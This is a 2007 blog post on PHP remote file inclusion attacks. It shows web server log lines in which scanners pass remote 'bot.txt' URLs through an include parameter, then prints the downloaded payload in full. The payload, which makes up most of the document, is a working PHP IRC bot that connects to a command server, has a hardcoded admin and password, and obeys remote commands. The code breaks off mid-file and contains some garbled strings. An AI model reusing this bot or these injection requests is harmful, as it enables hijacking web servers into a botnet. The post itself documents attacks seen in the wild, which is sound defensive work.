Nov
Crazy php code injections
Posted by jerry as Hacking, Security
 As I’ve written about here several times, the onslaught of unsuccessful php include attacks continues. Today, I saw a new file referenced - bot.txt. It looked like this in the apache log file:
216.246.48.124 - - [23/Nov/2007:17:17:13 -0500] “GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41845 “-” “libwww-perl/5.808″
216.246.48.124 - - [23/Nov/2007:17:17:13 -0500] “GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41894 “-” “libwww-perl/5.808″
216.246.48.124 - - [23/Nov/2007:17:17:14 -0500] “GET /2007/11/20//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41857 “-” “libwww-perl/5.808″
205.234.253.31 - - [23/Nov/2007:17:18:40 -0500] “GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41845 “-” “libwww-perl/5.808″
205.234.253.31 - - [23/Nov/2007:17:18:40 -0500] “GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41894 “-” “libwww-perl/5.808″
205.234.253.31 - - [23/Nov/2007:17:18:41 -0500] “GET /2007/11/20//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41857 “-” “libwww-perl/5.808″
72.29.84.167 - - [23/Nov/2007:17:18:57 -0500] “GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41845 “-” “libwww-perl/5.808″
72.29.84.167 - - [23/Nov/2007:17:18:57 -0500] “GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41894 “-” “libwww-perl/5.808″
72.29.84.167 - - [23/Nov/2007:17:18:57 -0500] “GET /2007/11/20//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1″ 404 41857 “-” “libwww-perl/5.808″
69.65.20.238 - - [23/Nov/2007:17:19:18 -0500] “GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.geocities.com/n_jeg/bot.txt?? HTTP/1.1″ 404 41832 “-” “libwww-perl/5.808″
69.65.20.238 - - [23/Nov/2007:17:19:18 -0500] “GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.geocities.com/n_jeg/bot.txt?? HTTP/1.1″ 404 41881 “-” “libwww-perl/5.808″
69.65.20.238 - - [23/Nov/2007:17:19:19 -0500] “GET /2007/11/20//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.geocities.com/n_jeg/bot.txt?? HTTP/1.1″ 404 41844 “-” “libwww-perl/5.808″
205.134.252.23 - - [23/Nov/2007:17:21:05 -0500] “GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.geocities.com/n_jeg/bot.txt?? HTTP/1.1″ 404 41832 “-” “libwww-perl/5.808″
I have been downloading and looking at each of the files I see - most of them are the same or loosely copied from one another. Today is the first time seeing this file for me. The file follows:
</html>
<title>31337</title>
<?php
//fighter script - BAJAY
function working() {
$querym=array(
“?”,
“!”,
“^^”,
” ^^”,
” :(”,
” :)”,
” ~:>”,
” :P~”,
” :D”,
“,”,
“.”,
“a”,
“i”,
“u”,
“e”,
“o”,
“z”,
“v”,
“z”,
“x”,
“c”,
“p”,
“m”,
“t”,
“k”,
“b”,
“s”,
“u”,
“bot”,
“g”,
“lo”,
“jo”,
“lol”
);
$tsu1=array(”`”,”|”,”[","]“,”{”,”}”,”^”,”“);
$tsu2=array(”`”,”|”,”[","]“,”{”,”}”,”^”,”-”,”\\”,”“);
$nicky=array(
 ”indotong”,
 ”rujange”,
 ”kentungs`”,
 ”sa_bosox”,
 ”japut1h”,
 ”start-Tegal”,
 ”stafp-pol”,
 ”apring”,
 ”my-bojo”,
 ”didiamu”,
 ”acongkasep”,
 ”rahasiailahi”,
 ”kutukurap”,
 ”duniagame”,
 ”pipilak”,
 ”Deeams”,
 ”Dewiani”,
 ”Lohanes”,
 ”Semsem2″,
 ”kuruyuk”,
 ”J4mput9″,
 ”acongTop”,
 ”bojokuayu”,
 ”Yuliyanti”,
 ”Ratnazar1″,
 ”Mydidit”,
 ”Rebecha”,
 ”Rastang”,
 ”Ganjils”,
 ”Bob-ho”,
 ”Dhinihari”,
 ”Dewimalam”,
 ”Lunaks”,
 ”Lowo-lawet”,
 ”Kolor-ku”,
 ”repolisi”,
 ”macanireng”,
 ”ivantat”,
 ”Kasugihan”,
 ”Kasiandeh”,
 ”awakapal”,
 ”Rachings”,
 ”War-tol”,
 ”Warnetlu”,
 ”Antikus”,
 ”[Dwirais]“,
 ”Phoecrot”,
 ”hiumania”,
 ”mas-amain”,
 ”Fafa-item”,
 ”Neonoek”,
 ”mba-abel”,
 ”Bencana”,
 ”nyosor”,
 ”Fitaken”,
 ”novakerep”,
 ”poerin”,
 ”lembene”,
 ”[sutijah]“,
 ”Skickmat”,
 ”Depangank”,
 ”Bonutang”,
 ”Stelangas”,
 ”Hellomam”,
 ”Pinkwingke”,
 ”Rolsepatu”,
 ”Defanku”,
 ”Mamalia”,
 ”Grahams”,
 ”Rocok”,
 ”jintuL-”,
 ”Urunan”,
 ”Piceks”,
 ”Kirbaju”,
 ”Asinans”,
 ”Muluk”,
 ”Mainanku”,
 ”Memete”,
 ”Kerambol”,
 ”Morbaut”,
 ”Clanane”,
 ”Nicitirta”,
 ”Jahlogo”,
 ”Sogokeh”,
 ”Hayamwuruk”,
 ”Selipan”,
 ”Myculun”,
 ”Mybojoe”,
 ”Selething”,
 ”T|kets”,
 ”Kompromi”,
 ”Montoks”,
 ”Trinitad”,
 ”Turboxs”,
 ”Mymata”,
 ”Indomobil”,
 ”KotaTegalkoe”,
 ”Peramal”,
 ”Hilangkoe”,
 ”Jalangs”,
 ”Jeengkel”,
 ”KaKikuda”,
 ”zhempol”,
 ”Pupens”,
 ”reneo”,
 ”[dorce]“,
 ”[yakin]“,
 ”[sung]“,
 ”[asli]“,
 ”suratan”,
 ”Cemplunk”,
 ”ladood”,
 ”lodados”,
 ”Jaambret”,
 ”Nyanyie”,
 ”Karmate”,
 ”Kunclup”,
 ”Simiskin”,
 ”Kamprets”,
 ”Kandang”,
 ”Kamuse”,
 ”Kendils”,
 ”Ketans”,
 ”Maantri”,
 ”anjengk”,
 ”angklung”,
 ”Kopok”,
 ”Krasi”,
 ”Kotors”,
 ”Karpets”,
 ”Kejangs”,
 ”Antraxs”,
 ”Adaband”,
 ”Kakusung”,
 ”Cocoran”,
 ”Bebelak”,
 ”Buluss”,
 ”Banatung”,
 ”Bembem”,
 ”Buntung”,
 ”Boroks”,
 ”Bambangs”,
 ”Bonteng”,
 ”Bumbu”,
 ”Bagasi”,
 ”Bimbing”,
 ”Chawets”,
 ”Coontex”,
 ”Clikat”,
 ”Cemceman”,
 ”Cokore”,
 ”Cuning”,
 ”Karmans”,
 ”Kodils”,
 ”Kaamra”,
 ”Darjo”,
 ”Dawud”,
 ”Daarto”,
 ”Damrie”,
 ”Dakroni”,
 ”Dimyati”,
 ”Dulung”,
 ”Enteng”,
 ”Emaxs”,
 ”Lomoboh”,
 ”Comodore”,
 ”Cimenks”,
 ”Cerutu”,
 ”Contonge”,
 ”Cukek”,
 ”Comblang”,
 ”Cemplak”,
 ”Cemanie”,
 ”Cembok”,
 ”Cekram”,
 ”Tegasung”,
 ”Tegarlah”,
 ”Teguhlah”,
 ”Tegeltak”,
 ”Tempek”,
 ”Antraxs”,
 ”Ampow”,
 ”Azdan”,
 ”Aburadul”,
 ”Antro”,
 ”Amings”,
 ”Angrexs”,
 ”Asrama”,
 ”Alimsung”,
 ”Aalas”,
 ”Abangku”,
 ”Amise”,
 ”Aconks”,
 ”Acongcup”,
 ”Acongsu”,
 ”Aconger”,
 ”Acongus”,
 ”Acongen”,
 ”sshd”,
 ”Masterkid”,
 ”alexutz”,
 ”andreea”,
 ”diana”,
 ”marius”,
 ”r00t”,
 ”kit”,
 ”mihai”,
 ”mihaela”,
 ”mario”,
 ”daiana”,
 ”andrei”,
 ”andreia”,
 ”tigan”,
 ”petre”,
 ”peter”,
 ”alexandre”,
 ”raluca”,
 ”master”,
 ”kid”,
 ”alias”,
 ”sbin”,
 ”p0rt”,
 ”sync”,
 ”mildest”,
 ”xzvf”,
 ”tar”,
 ”tgz”,
 ”dfg”,
 ”netcatxpl”,
 ”xpl”,
 ”xop”,
 ”xpls”,
 ”xploit”,
 ”xploits”,
 ”drxrwx”,
 ”drx-x”,
 ”system32″,
 ”alexandru”,
 ”alexander”,
 ”mihaela”,
 ”andrusca”,
 ”andra”,
 ”darius”,
 ”dani”,
 ”darnie”,
 ”daniel”,
 ”daniela”,
 ”mist3r”,
 ”x9v93c”,
 ”hunglec”,
 ”blasje”,
 ”bash”,
 ”blicke”,
 ”foirne”,
 ”wonder”,
 ”cvv2″,
 ”ssn”,
 ”creditcard”,
 ”ccnumber”,
 ”usher”,
 ”salam”,
 ”guta”,
 ”gutza”,
 ”biatchx”,
 ”bitch”,
 ”bitchX”,
 ”cine3″,
 ”scufitza”,
 ”copiluldeaur”,
 ”b0r4k”,
 ”counter”,
 ”strike”,
 ”usuf”,
 ”erny”,
 ”ernest”,
 ”modjo”,
 ”jinger”,
 ”b0ts”,
 ”r00ter”,
 ”g00gler”,
 ”mistcke”,
 ”linuxhack”,
 ”linuxhacker”,
 ”hacked”,
 ”fain”,
 ”ssl”,
 ”czxvr”,
 ”alb”,
 ”rosu”,
 ”romania”,
 ”rusia”,
 ”uk”,
 ”anglia”,
 ”comment”,
 ”hi5″,
 ”yah00″,
 ”silence”,
 ”us-com”,
 ”htiermc”,
 ”c00ldown”,
 ”misteryo”,
 ”hasked”,
 ”billaio”,
 ”smeoua”,
 ”muie”,
 ”sugator”,
 ”hashed”,
 ”f0lds”,
 ”folk”,
 ”f0lks”,
 ”numeroben”,
 ”hulk”,
 ”hiscke”,
 ”unae”,
 ”unhackable”,
 ”unhacker”,
 ”h4ack3rz”,
 ”hackerz”,
 ”ruter”,
 ”inji”,
 ”injecto”,
 ”freespace”,
 ”bulling”,
 ”mihaio”,
 ”ulgia”,
 ”c992mc”,
 ”miskce”,
 ”uber”,
 ”n0r”,
 ”c0x”,
 ”niekad”,
 ”naked”,
 ”nakedboy”,
 ”b0ys”,
 ”b0y”,
 ”messenger”,
 ”hopa”,
 ”hai-hui”,
 ”power-me”,
 ”sekos”,
 ”micke”,
 ”n0tron”,
 ”ron”,
 ”d0llars”,
 ”Euros”,
 ”pavalgia”,
 ”nasty”,
 ”hideend”,
 ”miskr3c”,
 ”incjen”,
 ”mass”,
 ”mailers”,
 ”mail3r”,
 ”th3kid”,
 ”k1d”,
 ”hepa”,
 ”m00r-d3f”,
 ”tzaca-paca”,
 ”headshot”,
 ”higgings”,
 ”slapest”,
 ”gansta”,
 ”gigging”,
 ”oame”,
 ”aoana”,
 ”mcike_dke”,
 ”blible”,
 ”XeqtR”,
 ”Xander”,
 ”xXx”,
 ”xxL”,
 ”vartmp”,
 ”0aoek”,
 ”summer”,
 ”etez”,
 ”crucike”,
 ”n0rme”,
 ”mihale”,
 ”c0rneaz”,
 ”blestem”,
 ”ghoost”,
 ”sicles”,
 ”c0mrsze”,
 ”sckme”,
 ”abie9t”,
 ”g912mc”,
 ”opernms”,
 ”micake”,
 ”qsuen”,
 ”zquers”,
 ”targetzd”,
 ”kem30ce”,
 ”nik1rc”,
 ”miosugi”,
 ”sugipula”,
 ”alupigus”,
 ”criminal”,
 ”danke”,
 ”shonw”,
 ”c0mrme”,
 ”muhahah”,
 ”biker4zs”,
 ”ckkemc”,
 ”clujeane”,
 ”hepahofn”,
 ”hepafon”,
 ”blackspace”,
 ”aabbcc”,
 ”ni1krc”,
 ”perosume”,
 ”perugis”,
 ”cliskeacz”,
 ”hennmx0c”,
 ”gbusf41″,
 ”bv9mvu3″,
 ”nik3rcs”,
 ”ghruwec”,
 ”slickez”,
 ”burgez”,
 ”h4mburger”,
 ”dijenmcie”,
 ”pijakence”,
 ”hai-blaeh”,
 ”power-you”,
 ”djstone”,
 ”djkid”,
 ”djthekid”,
 ”djmaster”,
 ”eftimie”,
 ”djcorason”,
 ”djalex”,
 ”djconstantin”,
 ”djbitch”,
 ”djk1d”,
 ”djtarget”,
 ”masterjungel”,
 ”daradaam”,
 ”uhmenze”,
 ”glicjex”,
 ”fortex”,
 ”hepafoneav”,
 ”m00rd3r”,
 ”tzacapaca”,
 ”nijeaz”,
 ”clijekcmez”,
 ”okkmmenc”,
 ”psyBNCz”,
 ”shellZ0″,
 ”kinderuL”,
 ”XeqtR”,
 ”metrolink”,
 ”ana”,
 ”anna”,
 ”squre”,
 ”xzvf0″,
 ”k1d-”,
 ”norman”,
 ”zquRs”,
 ”howhigh”,
 ”howhigt2″,
 ”blessus”,
 ”am3rica”,
 ”amer1ca”,
 ”spion”,
 ”spypower”,
 ”nextfan”,
 ”upl0ad”,
 ”s3arch”,
 ”searchX”,
 ”b0rak”,
 ”w00ps”,
 ”s0x”,
 ”nefertiti”,
 ”woops”,
 ”higlas”,
 ”cronx”,
 ”sown”,
 ”zappura”,
 ”heavenX”,
 ”muhahah1″,
 ”biker4zs1″,
 ”ckkemc1″,
 ”clujeane1″,
 ”hepahofn1″,
 ”hepafon1″,
 ”blackspace1″,
 ”aabbcc1″,
 ”ni1krc1″,
 ”perosume1″,
 ”perugis1″,
 ”cliskeacz1″,
 ”hennmx0c1″,
 ”gbusf411″,
 ”bv9mvu31″,
 ”nik3rcs1″,
 ”ghruwec1″,
 ”slickez1″,
 ”burgez1″,
 ”h4mburger1″,
 ”dijenmcie1″,
 ”pijakence1″,
 ”hai-blaeh1″,
 ”power-you1″,
 ”djstone1″,
 ”djkid1″,
 ”djthekid1″,
 ”djmaster1″,
 ”eftimie1″,
 ”djcorason1″,
 ”djalex1″,
 ”djconstantin1″,
 ”djbitch1″,
 ”djk1d1″,
 ”djtarget1″,
 ”masterjungel1″,
 ”daradaam1″,
 ”uhmenze1″,
 ”glicjex1″,
 ”fortex1″,
 ”hepafoneav1″,
 ”m00rd3r1″,
 ”tzacapaca1″,
 ”nijeaz1″,
 ”clijekcmez1″,
 ”okkmmenc1″,
 ”psyBNCz1″,
 ”shellZX”,
);
$usr1=array(
“zider”,
);
$nick = $nicky[rand(0,count($nicky) - 1)];
$awaymsg = “_4ÃfĮâ€TMÃf¢â‚¬Å¡Ãfƒâ€šÃf‚»_8!_4ÃfĮâ€TMÃf¢â‚¬Å¡Ãfƒâ€šÃf‚« 4H4Kim _8CÃfĮâ€TMÃf¢â‚¬Å¡Ãfƒâ€šÃf‚®ÃfĮâ€TMÃf†’Ãfƒâ€šÃf‚«wS _4ÃfĮâ€TMÃf¢â‚¬Å¡Ãfƒâ€šÃf‚»_8!_4ÃfĮâ€TMÃf¢â‚¬Å¡Ãfƒâ€šÃf‚«__”;
$identify = ”;
$Admin = ‘zaNga’;
$BOT_PASSWORD = ‘123′;
$channels = ‘netcat’;$remotehst2= array(”irc.yogyakarta.cn”);
$remotehost= $remotehst2[rand(0,count($remotehst2) - 1)];
$port = ‘6667′;$raway = “on”;
$realname = $nick;
$counterfp = 0;
$channels = str_replace(”CNL”,”",$channels);
print “<body bgcolor=#000000 text=#C0C0C0>”;
print “<b>== Connecting to $remotehost…</b>”;
Â
$log = “off”;
$saway = “1″;
if (!$stime) { $stime = time(); }
if (!$port) { $port = “6666″; }
$Admin = strtolower($Admin);
$auth = array($Admin => array(”name” => $Admin, “pass” => $BOT_PASSWORD, “auth” => 1,”status” => “Admin”));
$username = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
$keluar = 0;
$akill = 1;
$katime = 0;
$localhost = ‘localhost’;
$dayload = date(”H:i:s d/m/Y”);
ini_set(’user_agent’,'MSIE 5\.5;’);
set_time_limit(0);
define (’CRL’, “\r\n”);
$channels = strtolower($channels).” “;
$channel = explode(” “, $channels);
do {
 $fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
 if(!$fp) {
 if ( $counterfp <= 200 ) {
  $counterfp = $counterfp+1;
  working($nick);
  }
  else {
  print "<br><b>Cannot connect to $remotehost!<br>Please Try Another Server!</b>";
  $keluar = 1;
  exit;
  }
}
 print “<br><b>== Suceeded connection</b>”;
 $Header = ‘NICK ‘.$nick . CRL;
 $Header .= ‘USER ‘.$username.’ ‘.$localhost.’ ‘.$remotehost.’ :’.$realname . CRL;
 fputs($fp, $Header);
 $response = ”;
 while (!feof($fp)) {
 $response .= fgets($fp, 1024);
  while (substr_count($response,CRL) != 0) {
  $offset = strpos($response, CRL);
  $data = substr($response,0,$offset);
  $response = substr($response,$offset+2);
  if (substr($data,0,1) == ':') {
  $offsetA = strpos($data, ' ');
  $dFrom = substr($data,1,$offsetA-1);
  $offsetB = strpos($data, ' :');
  $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
  $offsetC = strpos($data, '!');
  $dNick = substr($data,1,$offsetC-1);
  $iText = substr($data,$offsetB+2);
  if ( substr($dCommand,0,3) == '004' ) {
  fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
  if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
  fputs($fp, 'NOTICE ' . $Admin . ' :Halo bos besar!' . CRL);
  foreach ($channel as $v) {
  fputs($fp, 'JOIN ' .$v . CRL);
  }
  $pong1 = '1';
  }
  elseif (substr($dCommand,0,3)=='465') {
  print "<br><b>== This bot have been autokilled.</b>";
  $akill = 2;
  }
  elseif (substr($dCommand,0,3)=='433') {
  $nick = $nicky[rand(0,count($nicky) - 1)];
  fputs($fp, 'NICK '.$nick . CRL);
  }
  elseif (substr($dCommand,0,3)=='432') {
  $nick = $nick.$username;
  fputs($fp, 'NICK '.$nick . CRL);
  }
  if (eregi('.dal.net',$dNick) && $akill==2) {
  if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
  print "<br><b>".strstr($data,'***')." </b>";
  if (eregi('Your IP is',$data)) {
  $keluar = 1;
  exit;
  }
  }
  }
  $dcom = explode(" ", $dCommand);
  $dNick = strtolower($dNick);
  if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
  fputs($fp, 'JOIN ' .$dcom[1]. CRL);
  }
  elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
  if ($auth["$dNick"]) {
  if ($auth["$dNick"]["pass"]) {
  if ($auth["$dNick"]["auth"]==2) {
  if ($dcom[0]=='NICK') {
  $com = explode(" ", $data);
  $chnick = strtolower(str_replace(':','',$com[2]));
  if ($dNick!=$chnick) {
  $auth["$dNick"]["auth"] = 1;
  fputs($fp,'NOTICE '.$chnick.' :selamat istirahat bos! ' . CRL);
  }
  } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :selamat istirahat bos! ' . CRL); }
  }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :pass your pass ' . CRL); }
  }
  }
  elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
  $dcom[2] = strtolower($dcom[2]);
  if ($auth["$dcom[2]"]) {
  if ($auth["$dcom[2]"]["pass"]) {
  if ($auth["$dcom[2]"]["auth"]==1) {
  $auth["$dcom[2]"]["auth"] = 2; $whois = "";
  fputs($fp,'NOTICE ' . $dcom[2] . ' :kamu masukan password as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
  } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :password oke bos aChOnGs seep emuach di titid! ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  }
  elseif ($dcom[0]=='NOTICE') {
  $com = explode(" ", $data);
  if ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) {
  $msg = strreplace('','',$data);
  $msg = strstr($msg,":KB");
  $msg = strreplace(":KB $com[4]","",$msg);
  fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
  fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
  }
  }
  elseif ($dcom[0]=='PRIVMSG') {
  $com = explode(" ", $data);
  if ($com[3]==':VERSION') {
  fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION mIRC v6.16 Khaled Mardam-Bey'.chr(1) . CRL);
  }
  elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
  if ($auth["$dNick"]) {
  if ($auth["$dNick"]["pass"]) {
  if ($auth["$dNick"]["auth"]==1) {
  if ($com[4]===$auth["$dNick"]["pass"]) {
  $auth["$dNick"]["auth"] = 2;
  fputs($fp,'NOTICE ' . $dNick . ' :kamu masukkan password as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);
  } else { fputs($fp,'NOTICE ' . $dNick . ' :passworde salah syu! Auth salah Shu! ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :password bener bos aChOnGs emang oke! ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  }
  elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
  if ($auth["$dNick"]) {
  if ($auth["$dNick"]["pass"]) {
  if ($auth["$dNick"]["auth"]==2) {
  $auth["$dNick"]["auth"] = 1;
  fputs($fp,'NOTICE ' . $dNick . ' :You`re LogOut! ' . CRL);
  } else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already LogOut! ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  }
  elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
  if ($auth["$dNick"]) {
  if (!$auth["$dNick"]["pass"]) {
  $auth["$dNick"]["pass"] = $com[4];
  $auth["$dNick"]["auth"] = 1;
  fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
  }
  elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
  if ($auth["$dNick"]) {
  if ($auth["$dNick"]["auth"]==2) {
  if ($com[4]===$auth["$dNick"]["pass"]) {
  $auth["$dNick"]["pass"] = $com[5];
  fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
  }
  elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
  $com[4] = strtolower($com[4]);
  if ($auth["$dNick"]["auth"]==2) {
  if ($auth["$dNick"]["status"]=="Admin") {
  if ($com[5]=="master" || $com[5]=="user") {
  $auth["$com[4]"]["name"] = $com[4];
  $auth["$com[4]"]["status"] = $com[5];
  fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
  fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
  } else { fputs($fp,'NOTICE ' . $dNick . ' :salah Command! Type: adduser <nick> <master/user> ' . CRL); }
  } elseif ($auth["$dNick"]["status"]=="master") {
  if (!$auth["$com[4]"]) {
  if ($com[5]=="user") {
  $auth["$com[4]"]["name"] = $com[4];
  $auth["$com[4]"]["status"] = $com[5];
  fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
  fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass33] <Spyderur Pass ' . CRL);
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  }
  elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
  $com[4] = strtolower($com[4]);
  if ($auth["$dNick"]["auth"]==2) {
  if ($auth["$dNick"]["status"]=="Admin") {
  if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
  unset($auth["$com[4]"]);
  fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
  fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
  } elseif ($auth["$dNick"]["status"]=="master") {
  if ($auth["$com[4]"]["status"]=="user") {
  unset($auth["$com[4]"]);
  fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
  fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
  } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  }
  elseif ($auth["$dNick"]["status"]) {
  if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
  $chan = strstr($dCommand,"#");
  $anick = str_replace("PRIVMSG ","",$dCommand);
  if ($com[3]==':!auth') {
  if ($auth["$dNick"]["auth"]==2) {
  fputs($fp,'NOTICE '.$dNick.' :Jembutz..! You`re already Authorized!' . CRL);
  } else {
  $whois = $dNick;
  fputs($fp,'WHOIS '.$dNick . CRL);
  }
  } elseif ($com[3]==':`auth' && $chan) {
  if ($auth["$dNick"]["auth"]==2) {
  fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' Hamba siap mencari janda Bos!' . CRL);
  } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' Raimu bukan bosku cok!' . CRL); }
  } elseif ($auth["$dNick"]["auth"]==2) {
  if ($com[3]==':`say' && $com[4] && $chan) {
  $msg = strstr($data,":`say");
  $msg = str_replace(":`say ","",$msg);
  fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
  }
  elseif ($com[3]==':`act' && $com[4] && $chan) {
  $msg = strstr($data,":`act");
  $msg = str_replace(":`act ","",$msg);
  fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL);
  }
  elseif ($com[3]==':`slap' && $com[4] && $chan) {
  fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' Jembut Raimu wani karo bosku around a bit with a large trout'. CRL);
  }
  elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
  $msg = strstr($data,":`msg");
  $msg = str_replace(":`msg $com[4] ","",$msg);
  fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
  }
  elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
  $msg = strstr($data,":`notice");
  $msg = str_replace(":`notice $com[4] ","",$msg);
  fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
  }
  elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
  $msg = strstr($data,":`ctcp");
  $msg = str_replace(":`ctcp $com[4] ","",$msg);
  fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL);
  }
  elseif ($com[3]==':`ping' && $chan) {
  $sml = $smile[rand(0,count($smile) - 1)];
  fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', _PONG!_ '.$sml. CRL);
  }
  elseif ($com[3]==':`pong' && $chan) {
  $sml = $smile[rand(0,count($smile) - 1)];
